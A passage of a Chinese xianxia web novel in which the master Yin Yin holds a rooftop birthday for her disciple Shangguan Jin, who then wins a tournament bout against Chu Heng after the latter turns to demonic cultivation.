上官今观察几日便明悟,此剑峰吃食清淡,怕是不合殷吟胃口。而颂宗弟子大多修为不高,口腹之欲尚存,会天天变着法子做各种山珍吃,与殷吟恰好高山流水遇知音。
颂宗弟子也记挂着她,每天有什么好吃的,都会留出一份令仙鹤送来,天天定时,无日例外。
今日是小火炖的当归乌鸡汤与一盘炒白菜,仙鹤在院门等久了,一面聚着灵力加热背上的饭菜,一面用爪在地上画圈。
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殷吟看着可爱,顺手在它毛茸茸的脑袋上摸了一把,便挥手把重重的锅碗从它柔顺透亮的羽毛之上撤下来,徐徐飞到院中石桌上。
二人身影先后入门。
殷吟说饿,回来之后却不吃,三两步轻飘飘遁入房门,留上官今一人在院中石凳淬着寒风。
他一手托着盛饭的瓷碗,有雪飘进他的碗中,被筷子有意无意地碾碎,神色不自觉泄出几分恹。
不知不觉,细软如鹅绒的飘雪接连被锤入米粒之中,碗不见空,瓷身却泛出凉意。
“哪来的吸风饮露的仙人,怎么不打个招呼就吃我东西?”
纷纷扬扬的细雪倏地变了方向,像生出灵智一般,大的小的都急不可遏地避开了这方石桌,远看就像在天地间打了一把无色伞。
上官今蓦然回神,方觉殷吟已无声无息来到他身旁。她适才是去整理了仪容,发髻现又梳得整齐,残缺的绒花替换成一个珠翠琳琅的步摇,正叮当作响,勾动流连。
殷吟喊他,眸中星点明灭,像是装入几颗闪烁的星辰:“吃饱没有,陪我去玩吧?”
上官今垂眼看碗,又捶一下:“师尊今日还未玩够?”
殷吟抬履轻踢他石凳:“话这么多,去不去?”
上官今:“去。”
他并不是没领教过殷吟所说的玩,有时是去深夜去颂宗江边逮河蟹,然后偷潜入厨房做夜宵,有时是去山间观察睡着的豺狼,花样层出不穷。
不过今日她说去玩,却不出院子,只是扫去了屋上沉积的雪,带着他盘坐在檐顶之上看天,颇为清闲。
飘雪的天气,堆的尽是黑压压的乌云,朗日时密布于天的星星如今半颗不见,连如圆盘的月亮也只现出影影绰绰的光亮,任由云雾雕琢形状。
上官今想问好看么,殷吟却轻巧地自瓦上站起来,步摇轻摆而身形岿然伫立:“你等等我。”
“好。”
上官今抱膝坐着,静待殷吟回来,沉沉的黑瞳在虚空之中并不聚焦。
忽地身后青瓦一声轻响,极轻极微,落在耳朵甚至比下着的飘零小雪更脆弱易碎几分。
上官今知是殷吟回来了,并不惊动,维持着望远的姿势。
殷吟三两步无声上前,在他身后吓唬:“哈!”
上官今身形微动,方回头去看她。
“生日快乐!”
他乌黑寂寥的眼底,猝不及防地映出了一双笑意盈盈的眼睛。
殷吟像一只飞燕,灵巧地蹲在屋脊之上,双手捧着一个又白又黑的奇怪半圆,眉眼弯弯对他笑。许是离得太近,上官今陡觉身周好像都隐隐围绕着她身上的暖意。
他听清所言,又忽怕是自己恍惚,一时惴惴,复而再问:“什么?”
“什么什么?给你过生日啊。”殷吟疑惑,支着身子在他旁边坐下。这个位置恰好能将蛋糕放在屋脊之上,像是在屋顶上筑了一张矮小的长桌。
“我问了好多人,但他们都不知道睐州的生辰习俗,我就只能按我们那里的来,”殷吟兴致盎然,碰了碰身旁凝滞的人的肘后窝,“你看,好不好看?”
上官今垂眼端详,仔细观察那个奇怪的半圆东西,他的眉头先是微微蹙起,而后又迟缓着舒展。
“这是……”他思索片刻,勉强从那黑顶白身的东西上看出几分人样,心中隐隐浮出一个不甚想要承认的猜想。
他抬眼,殷吟仍目光灼灼看着他,遂败下阵来:“……这是我?”
19. 怀中山雀被赶
“嗯嗯,”殷吟雀跃点头,夜色之中发丝都在花枝乱颤,期期问,“很像吧?”
上官今默然片刻:“……像”
从那次愿力节的凶兽面具开始,他就不该对师尊的审美再有任何的期待。
殷吟大受鼓舞,张罗着给他指明。顶上边缘崎岖的灰黑色是头发,碎发之下点的是眼睛,红色的长线是嘴巴,并重点介绍了额角位置的一团灰色,是她特意加上的痣。
上官今凝神谛听,目光随着殷吟介绍时摆动的手而落在这这那那之处。总算听明白,这是一个用面包和鸡蛋做成的蛋糕,是殷吟家乡生辰时会吃的一种食物。
所以师尊一整天不见踪迹,不是与新朋友出游,也并非有意瞒他,而是在为他准备生辰。
他嘴角微弯:“我还未见过如此特别的生辰习俗。”
殷吟见他有兴趣,边忙着将用于代替蜡烛的长饼干布置好,边揭过话题:“所以平时让你多读书吧,天下之大无奇不有,说不定世界上还有不凭借灵力就能驭风飞翔的机械呢。”
她原本想直接买蜡烛的,但怕不干净,遂作罢,食品安全无论在哪个世界都不容看轻!
殷吟心神一动,指尖流出点点星光,徐徐飞到饼干的最上段,附着在上时就如同烛火一般。
“在我们家乡,生日时要对着蛋糕许愿的。”
她双手合十做了个示范,睁眼便发现上官今已然照做,眼皮安静地耷拉着,长睫根根分明,被雪浸着泛出水光,一闪一闪地合着饼干上的星光。
星光闪动,他睫毛上的光便流转,在大雪天之中久久不散,长明如灯。
还挺乖。
殷吟趁他闭眼,飞快朝天招招手。匿于黑夜的山雀便纷纷扬扬从空而下,张开小巧的鸟喙。平日总是叽叽喳喳叫唤的喉咙,此时竟然韵律森严地唱起了歌。
“祝你生日快乐,祝你生日快乐……”
上官今无言倾听着这方滑稽的唱腔,将愿望默念后,动睫抬眼,于或扑翅或停息的山雀之中再次找出殷吟的身影。
“师尊,这又是什么?”
殷吟小声和着歌声,待最后一句唱完,方才把挡着二人视线的几只小雀抱入怀中,指腹抚着:“是生日歌!你不知道,我带它们学了整整一个上午,从天没亮就开始了。”
上官今眉尖稍展,眼底若冰雪微融,氤氲尽一片清明。
“嗯,我知道。”
他声音太轻,殷吟没有听到,指指饼干上的星光,小雀便稀稀疏疏落在她手上,像在隔靴搔痒。
殷吟看他:“你许完愿望啦,把它吹灭吧。”
“好。”上官今俯身轻吹那星光,星点真飘飘融入远方雪色之中,半点光明没有落下来。
殷吟给他鼓掌,怀中山雀却被上官今赶跑,全都仓惶扑到身旁的屋脊之上,睁着一排小绿豆眼无辜看来。
殷吟疑惑:“做什么?”
它们方才还为你庆生呢。
上官今觑那脊上雀,闷闷回道:“它们身上不十分干净,别脏了师尊衣裙。”
颂宗边灵力积聚,山雀多少生出灵识,它们成日饮山泉歇山间,闻声不满,皆叽叽喳喳反驳起来,场面一时混乱。
待殷吟勉强安抚好受伤的山雀们,将它们暂请回林间去休息时,二人方才得片刻宁静。
这下便又犯起难来。
上官今握着蛋糕刀,指节托着刀柄坠直:“师尊,要怎么切?”
殷吟沉默一瞬。
她做的蛋糕太大了,目测有两掌摊开之宽,却是上官今的形象,无论从何下刀切开,似乎都不吉利。
“师尊从未遇到过此种情况吗?”
“……蛋糕也有许多不同模样的,我没吃过这种。”
殷吟想得头疼,便伸手要他手上的蛋糕刀,刀尖在虚空之中反复翩动,尝试着可行的切蛋糕方法。
上官今无言默然,看殷吟神色严肃地反复摆弄着蛋糕,仿佛能透过她的头顶,看到她纠结再三的表情。
她甫一游神,便有点点雪花想钻空子飞入这片空间,上官今心神微动,悄然散出灵力,微不可觉地将漏洞一一修补。
殷吟还在一旁焦头烂额地想着如何保全这个蛋糕的完整,上官今指尖微动,又将饼干灼亮拿在手中,放在二人之间,星星点点,荧荧闪烁。
天地寂静,殷吟半晌抬起头来,神情在星光映照之下更显认真:“……你能一口把整张脸都吃掉吗?”
上官今一时哑然。
这便是师尊想出来的办法。
殷吟照中切了一刀,将蛋糕从圆头削成了平头。
上官今则看着不成样子的自己被从耳朵后面削成了一个平头,有脸的一半被仙鹤一口叼入嘴中,大快朵颐。
他端着半个后脑勺,直至殷吟喊他回神,方才收回目光,舀了一口盘中的蛋糕。
仙鹤得了半个甜腻的蛋糕,欢天喜地地一整宿在小宋岭之上盘桓,奔走相告。待次日殷吟传它回颂宗,它已与所有的山鸟朋友道了别。
山阶石坊,新上任的宗主与门主并立,泫然欲泣地对着二位仙君的背影招手,并身后黑压压一片的颂宗弟子,亭植独孤净叶叶等人,多都潸然泪下。
·
仙鹤乘风而上,借力快行,五日光阴便回到了道生宗。
它翩翩然扇着两翅光洁透亮的羽毛落于主峰上时,身旁立了只硕大的乌龟,极缓慢地抬手抚它:“长肥了,怪不得飞不快。”
仙鹤被当头一棒,急急低鸣起来。
它每日以山间寒泉清洁羽毛,在钟灵毓秀之地养了快一年的冰肌玉骨,回来就要被峰主骂长胖了!
哪里是它的问题,它在兽峰便是卷王,拔萃而出,仙骨在小宋岭锻得愈发轻捷。分明是殷峰主舍不得人界的美食馔羞,拒绝回剑峰吃煮白菜,便尽她自己分内的最大努力在各地辗转停留了几日。
直至今日,已是宗主允许的最晚回宗时间,她拖无可拖,方才驾它回来。
仙鹤无不幽怨地望着一路上请它吃香的喝辣的的殷峰主,终究没有高鸣告发。
其实还真的挺好吃的。
殷吟读懂它的神情,不免油然而生几分心虚,下意识向前一步,借上官今的身形去挡仙鹤的目光。
上官今敛眸,殷吟移到他前面去,髻间的发簪坠着的明珠便对着他轻晃。他静看小珠跃动两周,又感知到她身形将动,仓促移开目光。
殷吟侧头瞧来一眼,少焉,又狐疑地转正脖颈,疑惑陡生。
什么时候他长高得能挡住她的头顶了?
乌龟扬出一个老神在在的笑容,并不揭发:“殷峰主且快去吧,要迟到了。小鹤就由老朽带回兽峰。”
“有劳。”殷吟对这位兽峰峰主抱拳致意。正在想它是不是与沧浪一般的兽修成仙,就见它身形一动化为一只老鹤,领着仙鹤远远而去。
殷吟:“……”
原来是coser。
·
目送化为仙鹤的乌龟扇了几下翅膀后,二人飞速赶往会场。
今日是宗内大比的开幕,乌龟说且快去便是这件事情。由于是第一日,又要决定初赛首轮的对战名单。故而届时,于礼,各峰峰主都要到场。
会场前无人看守,任由出入。殷吟甫一踏入,便迎面看见一个极为宽大的正五边形的大擂台,四周观战席像演唱会一般高高垒起,正对面便是留与七位峰主并宗主的高座。
殷吟暂别上官今,兀自踏剑而上。
八位高座已入座了五位,除去一位刚才变成鹤的兽峰峰主和她自己,竟还有比她来得迟的。殷吟匆匆扫一眼,便敛衽入座。
殷吟抬眼看回大擂台,方才御剑飞过时她便注意到,擂台中心的虚空之上,天地签已傲
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然屹立,通身流转着温润的光晕。
老者瞭来一眼,笑眯眯朝殷吟点头,而后朗声道:“开始吧。”
他的声音不响,还带着老年沧桑的调子,却如日中天,登时传遍了整个会场,四立的弟子席位纷纷噤声。
下一刻,天地签开始颤动,如同挂在篝火之上炽烤的一个水壶一般,可以从外看清它在震动,又能由神识感受到筒内无数玉签激烈对撞的灵力四溅,如同开水沸腾一般的。
它的速度极快,每颤动一次,便从中飞出两签,对擂二人的姓名与出处齐齐从签身浮出,被吸到一旁的公示处。
看了十几对后,殷吟发现天地签抽签并不是随机,而是选取修为相近的同级弟子,且大多对擂之人归属同一峰,暂没有出现过类似剑修对战医修的奇怪搭配。
直到下一对对擂人的姓名浮现。
天地签在为弟子们分门别类之时,也会采纳弟子们各自的意向。譬如楚横曾在一年前的愿力节上与上官今定下战约,它便筒身一动,将带有二人名字的玉签齐齐扔了出来。
‘上官今。’
‘楚横。’
一长一短的名字浮现于会场之上,原本窸窸窣窣的四方弟子席位霎时喧嚣起来,像有几百几千个开水壶同时烧开了,声波在道生峰外久久回荡。
“喔!”
“喔!”
“喔!”
兽峰峰主的位置不知何时爬上了一只蜈蚣,几十只脚同时以一个扭曲的姿势捂着耳朵,哈哈一笑:“这热闹的程度与去年宗内大比的最后一场相较可是有过之而无不及。”
老者眯眼:“看来,剑器两峰是今年最先交手的了。”
殷吟投以一笑,并未加入二人的交谈。
天地签不断掷出玉签,留在筒里的签数肉眼可见地减少,现下已是寥寥无几,再摇不出来方才那大珠小珠的清越声音。
殷吟有些犯困,到现在已经浮出过上千个名字,确实再没有看到所属峰不同的同台对擂者。
她垂眼押了口茶,蓦然,场中大亮的一根玉签引起了她的注意。
琉璃玉签被掷出时,签身会正对高座,浮出的姓名亦是如此。这么做是为了让每位峰主正正瞧见,保证抽签公平,杜绝徇私舞弊的可能。
而此时,签身之上被缓缓放大的名字,赫然便是端稚二字。
殷吟以为自己困出幻觉了,当下惊醒,茶水糊湿了嘴角,定睛再看。
‘端稚。’
并未出错。
玉签还未完全消失,殷吟便又追去看刻在名字之下的一行细如毫发的所属峰标注。
这对她来说并非难事,目及那峰名,她眼皮一动,将杯盏搁回桌上,缄默不语。
端稚竟然还留在道生宗,观那所属峰,是器峰。
端稚的名号,高座之上的至少半数人并不陌生,但众人皆无反应,就像方才不过恰巧出了一个同名之人。
直至最后两签确定,陶砌笑着搭话:“小殷啊,这次小宋岭之行真是辛苦你了。”
“不辛苦。”殷吟莞尔,高座参差错落,她微微倾身,便恰好能直直看到与她同高的陶砌。
如此没话找话,反愈显他有鬼。
殷吟正回想着与这位峰主的两场对话,一是最初在主峰的那场对峙,二是在愿力节之时。
此情此景之下,将当时对话再细细体悟一番,殷吟才更深刻地发觉,陶砌当时虽口口声声多有呵护,但实是暗暗夹枪带棒,以捧高她来挖坑。
反是卜漪,虽然看着面冷,却在言语间多有相助,帮她四两拨去陶砌的千斤暗局。
她借看陶砌的间隙,瞥后一眼。
医峰峰主的高位上,那袭身影今日仍穿的一身白,正襟危坐,神情肃穆。
殷吟收回目光,心中隐隐觉得陶砌有问题,说不定还会与小宋岭的事情有所联系。
20. 输了就别回来
自上官今与楚横的名字被吸到公示处后,公示处便人满为患,盘旋之人久久不去。
“喂喂,今年擂台依旧老地方下注!老地方下注!”做生意的器峰弟子穿行人潮之间,趁着人多口杂开始预热,一双精明的眼睛不时飘向高座。
“今年特开设了指定擂台下注,赔率超高!富贵险中求!都来看看!”
他宣传一圈,便有弟子掂了掂自己青黄不接的锦囊,与好友搭话:“谁会输啊?”
他只有一点点的钱,只想给会赢的人用。
好友翻了个白眼:“楚衡呗……要不是刚才天地签亮了,小爷都不知道他名字的衡是哪个衡。”
“……哥,那个念横,四声。”弟子无言以对,却深觉好友说得在理。
不仅是他们,道生宗内至少半数人现在已然觉得楚横输定了。
楚横虽年纪虚长几岁,占了修习时间的便宜,但上官今如今是殷峰主唯一的亲传弟子,必是有什么好法器宝物都紧着他来。
加之小宋峰生变的事情传回过道生宗,各峰表面上三缄其口,暗地却早传遍了。
上官今得了宗内宝库的那柄苍山,还击败了颂宗的那位元婴之境的宗主。
这件事情纵然有所夸大,但此事已过一年,做了宗内最负盛名的殷峰主一年的亲传弟子,长进如何自不必提,正是风光无限的时候。
上官今输给楚横,不亚于剑术精绝的化神境殷峰主输给成日摆弄玉石炉火的陶砌。
公示处此起彼伏地唏嘘几声。
会场熙熙攘攘,弟子们以为自己的几声喟叹不会被听了去,却不想聚少成多,已落入主角耳中。
“喂!”楚横扬着下巴,睨看着没在人群之中敛神降低存在感的上官今,神色不善,“你明天可不要不敢来啊。”
他的耳垂很红,是气红的,因为他一路上都不断听见有人要压上官今赢。
尽管他的赔率已经来到一赔十。
上官今睇他一眼。
楚横身旁原本有一圈的同伴,他插不上位置也说不上话,像透明了一样。眼见他停留下来发狠话,狐朋狗友们倒是驻足下来,颇有兴致地递来目光。
上官今稍作反思。
他上次怎么没有连着这些人一起教训?
眼见楚横走近,四周人群也因着这一声投来目光,上官今漠然置之,雪色的弟子服直垂至履,波澜不惊地抬靴欲离。
楚横心中一急,不愿落了下风,硬着头皮挡到他面前:“喂,我和你说话呢!”
上官今凝眸看他:“让开。”
若非会场之上不许斗殴,他早在楚横未过来之时将其打晕扔出去。他敢肯定楚横那些同伴一个都不会发现。
楚横气极,不过一年时间,曾经能直视的低级弟子已然高他一头,修为也深不可测,显得他于上官今面前如同□□见天鹅。
他支着腰提气想骂。
一旁正与友调笑的马尾少年眼角瞥到这方混乱,笑容凝滞,一把推过拦路的同伴,扬着头发撸着袖子就迈步上来,脾气比楚横还冲。
“你干什么?多吃几年饭就想欺压我们小的?叔,现在不玩年长者为尊那套了!”
楚横看着这又不知何处冒出来的人,脸色一黑:“关你什么事!”
“怎么不关我事?”屈再再神情跋扈,嚣张得马尾乱飞,“看你也不像能撑几轮擂台的样子,有本事我们现在去练武场来一轮?”
“谁要和你比。”见四周渐渐聚来了人,楚横声音稍顿。
面前这个少年的修为他感受不出,说明不在他之下,他又是器修,打起来必定讨不到好。加之明日还有与上官今的擂台,故绝不能应下。
但楚横也不想让人瞧出怵,强装镇定朝上官今扬眉:“等着明天在擂台上见吧,我一定会赢。”
屈再再颇为嫌弃:“咦。”
上官今默然不语,看着二人一番拉扯,转身行离。
“诶,别走啊!”屈再再想跟上,倏地被一阵气息止住了脚步,举起的手一顿,旋而放下。
殷吟的身影忽地凝实在前方。她看见此处各人的站位,心中隐隐猜到是发生了些什么,眉梢微动:“你不等我?”
上官今答道:“我想去外面等的。”
他本是隐着气息在此处等待殷吟,但是楚横太吵,又不能动手,自然便想另择个容易瞧见的地方。
殷吟喔一声。
围观人群中有剑峰弟子,不似其他峰害怕殷吟,又喜欢看热闹,当下便站到座上,双手作喇叭向下喊来:“峰主,明天的擂台你有什么要说的吗!”
“哦?”殷吟抬头看那人。
她本就看不惯楚横,一年不见,原以为上次经教训之后他会收敛,没想到他还敢出现。
弟子的问题恰好给了她发挥的空间,殷吟神色微动,环视四周,在众人团团围簇的好奇目光之下,沉声道:“输了就别回来。”
四下的围观者纷纷吸冷气。
峰主如此笃定,看来胜负已定。
·
宗内大比第二日,高座八座入七,依旧是阵峰峰主的座位空悬。
殷吟早前得知,这位峰主的身份特殊,性情孤僻乖张,并不示于人前,如今一看倒是不假。
宗内大比头两日,阵峰峰主皆未露面,高座之中却无有言他一声不是的峰主,可见大家应当都习惯了他的行踪诡秘。
宗主老者虚虚挥手,广大的衣袂在空中摊开,占领整个会场的正五边形大擂台便轰然碎裂,碎片在虚空之中变幻莫测,组装出无数个小擂台,或高高悬空,或被摁在地上,其余的零星密布,散点着将这方空间填了个满。
殷吟从未见过如此恢宏的施法,不免被这如梦如幻的场景吸引,一时看得入迷。
她只走神片刻,公示处的管理弟子便开始依次高声传唤对擂人。
被唤到的修者飞身落入对应亮起的擂台之中,若有轻功不好或御不上剑而进不去高悬的擂台的,便被直接宣布失败,讨得四方观战席位的倒彩声。
片刻,整片小小的擂台之中便装点满了如昆虫大小的人,有的执剑对峙,有的争相从储物袋之中掏出比人高的丹炉,手上灵火乍现,愈烧愈旺。
初赛是同峰弟子相对,可比的花样也就更多。只要双方都同意,便不必拘于对剑,可以是比谁能在相同时间内练出更高品阶的法器,或比谁能更快分离干净掺杂一处的数十种灵草,等等。
随着管理弟子敲响祖传千年的沉重仙鼓,便示作第一大场开始。
小擂台中的小人们纷纷动作,像上演着一场场皮影戏,或剑意迸发,
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挥剑扭作一团,或研墨铺纸,一面画符一面死瞪着对方咬牙切齿。
不断有小擂台亮光骤灭,胜败者皆被传送回席,而后公示处再依次传唤下两位对擂人,对擂人灵气四逸撞入擂台之中。
初赛时优秀弟子过于分散,擂台大多乏味,殷吟喜欢挑剑修看,特别是用布条扎高马尾和佩黑剑鞘的。
研究下来,她发现他们的剑法最快最凌厉,有此特征无一例外都能赢下对擂。
今日,上官今随殷吟暂至高座,此时就在她的身后不远。殷吟不免回头看去,想象着将这些特征加上他身上的模样,想着想着不免发笑。
她眼睛很亮,纤尘不染,上官今被这视线观察了片刻,便微不可见地别开目光,心跳一时加快,不敢再看。
片刻再抬头时,殷吟已然回过身去,正仰着头注视擂台战况。
此时,会场中央斜斜悬着的小擂台熄灭,公示处骤然高声传唤。
“上官今——”
“楚横——”
殷吟神色骤明,回身来朝他比了个打气的手势,语气欢快:“加油哦。”
上官今应她:“好。”
心中又回想起殷吟昨日那句输了就别回来,还有她说那句话时微微倨傲的神色,不是对他,而是对楚横。
虚空之中已有一道身影往那小擂台飞去,急遽莽撞。上官今身影一动,雪色的衣袂翻飞,翩然落于擂台上。
小擂台白光大亮,四面席位中无数弟子的目光争先恐后地跟了上去。屈再再拍拍一旁还在兀自笑谈的同伴,示意熄声。
席中不乏未在应战的高阶弟子,在周围同修的催促之下放出灵力,去探查台上人的修为:“……都是金丹。”
“居然都是金丹了吗?这要楚横怎么打,唯一的境界优势也没有了吧。”
“剑修升境本来就快一些,楚横虽然修为低,但是他这么多年应该也练了不少高阶法器吧,撑个三四招总是没问题的。”
宗内大比规定,弟子上台只许携带凭自己寻到的佩剑,不可是他人相赠,若是没有则只能用木剑做代。而法器符箓丹药等等,也必须是由自己亲手所炼,不得假借他人之手。
因而,尽管宗内大比的后期基本上都是不同峰的对擂人,却反不见得风向会一味偏向剑修。那时往往才是八仙过海、各显神通之际。
小擂台之上,星光流转。
上官今抵达之时,便见楚横已然横剑身前,身周剑意萦绕,作准备状。
楚横今日愈发郁结于心。
他听到风言,由于指定擂台下注他赢的人实在寥寥无几,开办人便又增设了一个新赌局,赌他能在殷峰主弟子的手下撑过几轮。
岂有此理!
在楚横恶狠狠的瞪视中,上官今敛眸,轻巧挑出坠挂腰际的木剑。
楚横冷嗤,抬剑迎面一指:“我还以为你会用那柄宗主赠的苍山剑呢。”
他的手中,铜色长剑泛着黄光,一路从剑柄淌至剑尖,星星点点,冷意凛然。
“这是我铸出的剑,名叫拔山。”
木剑质脆,在所有剑中属最下乘。楚横本以为上官今会佯装不知,继续使用苍山,多少心有忌惮。
眼下见他竟敢用木剑,真是不知死活。
楚横心中冷笑,抬剑攻去。
21. 示弱
拔山破空而出,和着剑主人翻涌的战意鸣声阵阵,震得小擂台四周的封边结界像石入死潭一般,波纹不断。
相隔不远的高座上,宗主察觉动静:“这方擂台倒是动静大。”
陶砌笑道:“两个小辈切磋罢了。”
殷吟:“陶峰主的弟子手里那柄剑,看起来有些意思,是他自己炼的?”
“大约是吧,小辈的事情,我不常过问。”
陶砌回得随意,殷吟听不出有何名堂,只好点头作罢。她回神去看擂台,眉心微凝,总觉那柄剑有些古怪。
剑上流转的光泽,似直似弯,不像是一柄直直的剑器,倒更像是一根鞭子或是一条鳞片密布的蛇。
擂台之上,拔山剑剑狠厉,却每每被木剑轻卸锋芒,提起的剑意像是刺到棉花之上,难受非常。
楚横神色愈重,他手握拔山,每愈一力破眼前木剑的粗糙剑身,便被那柄死木轻描淡写地点偏剑锋,反应不及地朝旁刺去。
反复下来,他非但连一点木屑都没能削下来,反倒聚起的剑意都被扰乱了几分。
楚横目光一暗。
不能再这样了。
他忽地跃起,调动通身灵力,反手握剑刺下,霎时剑光四溢,像是将致胜的希望全都押在了这一剑之下。
远远处,殷吟拧眉。
她看到拔山黄铜一般的剑身之上,有什么细微东西像是雨后春草,随着灵力的注入生发出来了。
剑气乍至,上官今翻腕以剑作抵,灵力自剑柄处源源不断地汇入长木。此剑本由一截木所制,灵力甫一充斥,表内的脉络便寸寸闪动亮光。
两剑相撞,木剑稳稳捱下了拔山此击,虚空之中楚横脸色更黑,心念骤动。
拔山剑尖,一根黄色细针率先飞出!
下一刻,拔山通身光芒躁动,密密麻麻的无数细针上下起伏,不断射出新的长针,狠厉而急遽。
弟子席位上,屈再再狠捏了一把好友的肩:“方才那不是剑身的光泽,是这拔山暗藏着的长针反射的光!”
所以适才那流转的剑光才会是星星点点,给人的感觉有如蛇鳞,一片一片甚是诡异。
上官今似早有察觉,长针穿空之际,他点地退开,以剑作挡,令长针尽数嵌入木剑之中,亮淌淌的针头穿透剑身与他对视。
席中有人亦在对望,神情恍如隔世:“剑中招了,殷峰主的弟子这是要输了?”
“谁知道楚横竟然炼出了这么诡异的剑……这剑路不算很正吧,殷峰主的弟子轻敌了,输了也没办法。”
台上楚横傲然,俨然已是胜者姿态:“你的剑废了。”
他言毕,五指紧握拔山,欲催动长针归位,并将木剑一同瓦解。
上官今不与他言,虎口挟着手中木剑。
被接连的长针穿透之后,木剑剑脉不灭反亮,灼灼的剑光流淌在剑木纹理之上,并无颓意。
楚横微愣,狐疑的目光也落于木剑之上。
他适才尝试催动长针,但平日在训练时任凭差遣的剑上长针,此刻却半分不响应他。
或者说,是木剑中的灵力死死反缚着长针,令其无法离开,更不用提摧毁木剑。
楚横自觉不是对手,看着面前一言不发的上官今,心底隐隐生出惧意:“你……”
上官今闭口不言,运剑翩然而至。密布针尖的木剑猝不及防在楚横身上拍下,如伺食的野狗一般唰地划开他的皮肉,拖出长长血痕方肯离开。
他吃痛屏气,木剑却半分不停,不出一息又在完好的地方落下,像是在一下一下回报他的毁剑之仇。
楚横眼前一黑,对手一剑一式之疾之厉,他甚至来不及提拔山作挡。当下反应过来,上官今方才是在等着他。
等着他露出自以为完美的底牌之后,再一举打败他。
一口腥甜漫上楚横的喉咙,他目眦欲裂,想到台下不知道有多少人在这瞬息之间看他的笑话,同为器峰的器修将他的赔率嘻嘻哈哈地调到天价。
楚横蓦然一狠,拖着血肉模糊的手,挥剑劈开木剑。
他身形虚浮,目光却比任何时候都要恶毒坚毅:“凭什么,你不过是一个平平无奇的弟子,凭什么就能获得殷峰主的青眼,就能平步青云一年赶上我的境界!”
“我们都是一样的,你就该一辈子被看不起被嘲笑,和我一样。”
上官今暂停剑式,待他吼完最后一言。
为防会场混乱,擂台通常会隔绝大部分的声音,只有修为较深的修者方能听清台上言语。
殷吟察觉到零星视线飘来,直了直背脊,原本有些松散的坐姿霎时端正起来。
她可什么都没干。
上官今乌黑的瞳底映出张牙舞爪的楚横,他本想将其一剑击出擂台,却听见稍有意味的一句。
“你赢不了我,你这辈子没有机会了……”
上官今神情微动,便暂将剑按下,看他还有什么作为。
楚横粲然一笑。
在小宋岭的事情传回道生宗时,他便惴惴不安,连着一个礼拜没有吃饱饭睡好觉。那时每每到他要去炼器,未动灵气便觉得喉咙一窒,险些将胃都呕了出来。
一日夜里,他始终寝食难安,脑中反反复复都是那日愿力节的情景,便动了些心思,趁舍友在熟睡,出门去了峰主的器苑。
若不是实在没有办法,他也不会使用如此的办法。
这一场对擂,只能赢,不能输。
楚横再度动作时,身周隐隐冒着黑气,整个人像是换了芯子一般,目光由原先的狠厉变得阴戾毒辣。
他踏着虚空突进,拔山被随意地扔在一旁,翻手从储物袋中抽出一柄耗材短匕,身形诡谲地舞起,观之完全不像正统的仙门道术。
弟子席位之上炸开了锅。
“那个楚横身上的是魔气吗?”
“他不是器峰弟子吗,他怎么会修这种东西!”
殷吟也想知道原因。
在宗主面若寒霜地质问陶砌这到底是怎么回事之时,她的双眼聚精会神于擂台之上,手中破冻若隐若现,准备随时结束这场对擂。
若是楚横做出一个危害上官今生命的举动,她就让破冻上去,把他当魔直接串成烧烤。
卜漪恰时递来一眼,提醒她:“小擂台之间相互有联系,牵一发而动全身,左右人不会死在上面,不若待他们比完。”
殷吟心中权衡,微屈的五指松了松。
也罢,上官今若是撑不住了,自己下来便是。若是一个不小心把整个会场还在比试的弟子戳了下来,她可担不过来。
台上,转用魔功的楚横步步紧逼,像永远不知疲倦一般。魔功在短时间内大幅提高了他的修为,二人境界原本相近,此时他却要高出一大截。
他的匕首在手上寒光凛凛,所过见血,染得眼底一片通红。
上官今眉头微蹙,
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手中木剑也已伤痕累累,只得步步退避。
楚横忽地飞速刺来,匕尖挟着翻涌的魔气撞上木剑,木剑剑身霎时浮出裂缝,在灵力与魔气的拉扯下几近断裂。
裂缝的另一头是楚横癫狂的神色,上官今视若无睹,兀自思忖。
此时若他认输投降,小擂台便会直接将二人分开传送出去,不会有性命之忧,但那样便算是楚横获胜了。
心中又闪过殷吟昨日的话,上官今垂眸,源源不断地将灵力没入木剑之中,维持着那摧枯拉朽的残躯。
木剑濒临分崩离析,楚横战意愈起,催动魔功一股脑地自短匕而去。他的眼睛死瞪着木剑边缘,突然惊起了一个风刃,猝不及防划入他的眼中。
楚横惨叫一声,木剑却在下一秒没入他执匕的手中,恰时破溃,碎片混着木屑刺入肌肉与血管,有如酷刑。
胜负已定,擂台的亮光与殷吟的身影骤灭,宗主目光回笼,似有寒光一闪而过,冷冷道:“器峰,居然出了魔修。”
陶砌脸色难看,艰难成句:“宗主,各位峰主,此事是我之过,我一定严惩此人。”
·
天地灰暗,久不逢甘霖的大地之上,纹路曲曲折折,联结成一个被摁平的龟壳样式,密布在这片千疮百孔又触目惊心之地。
远处是一个活人堆。他们没有死,只是太饿了,于是高高垒在一起,手脚横斜乱缠,像一个蠕动的大肉团,山一样地矗在路中间。
上官今就在不远不近的草丛之中,动弹不得地注目着这个肉团。
在许多许多年之后,他再没有见过如此的场面。
上官今不知道看了多久,或者根本没有时间而言,他只是单纯地被定在那处,眼中无神无波地望着那团肉球。
看它上下起伏,传出窸窸窣窣的奇怪声音,渗人又冰凉,直至自己空无一物的手上传来陡然的痛意。
亮堂堂的屋里,少年的长睫微微颤在空中,旋即眼瞳亮起,便见熟悉的一对雪色绒球在面前晃来晃去,揉出几分温意。
上官今:“师尊?”
“你醒了啊,”殷吟转来看他一眼,又将头转回去,无悲无喜,只留下一对绒球对着他颤,像是嘲笑,“醒了换药。”
上官今觑她动作,霎时明白在梦中的痛感是从何而起。
他轻声示弱:“疼。”
“活该,”殷吟手指在空中虚点,纱布便由她使唤朝伤口上摁,故意使力,“打不过你不知道下来吗。”
她还真小瞧上官今了,这人竟是不撞南墙不回头的性子,既没输擂台,被传送下来时还一身伤,当场没了意识。
她又道:“不过你还是没晋级,今日的擂台你没来得及去,算作弃赛。”
上官今沉默片刻,回她上一个问题:“……可是师尊说,输了就不许我回来。”
殷吟哑然,转而闷闷:“你真信啊?”
“嗯。”
他自然知道殷吟不会真的不许他回来。但即使如此,他却不想输。
上官今垂眼。
况且,他也并未尽全力。
殷吟感觉喉咙被卡住了,一时无言,无趣地放轻动作,将纱布在伤口处绕几圈,不松不紧打上结。
做完之后,她起身欲走。
身后蓦地传来上官今的声音:“师尊,你要去哪里?”
殷吟停下脚步,犹豫再三后,还是告之实情:“我有一场对擂赛想去看。”
22. 师尊这样做真的好吗
殷吟不想告诉他,是因为她想看的这场对擂赛,是关于端稚的。
今日是第二日,初赛被筛了半数人,小擂台数目却一个不见少,仍星罗棋布地挂悬天地。
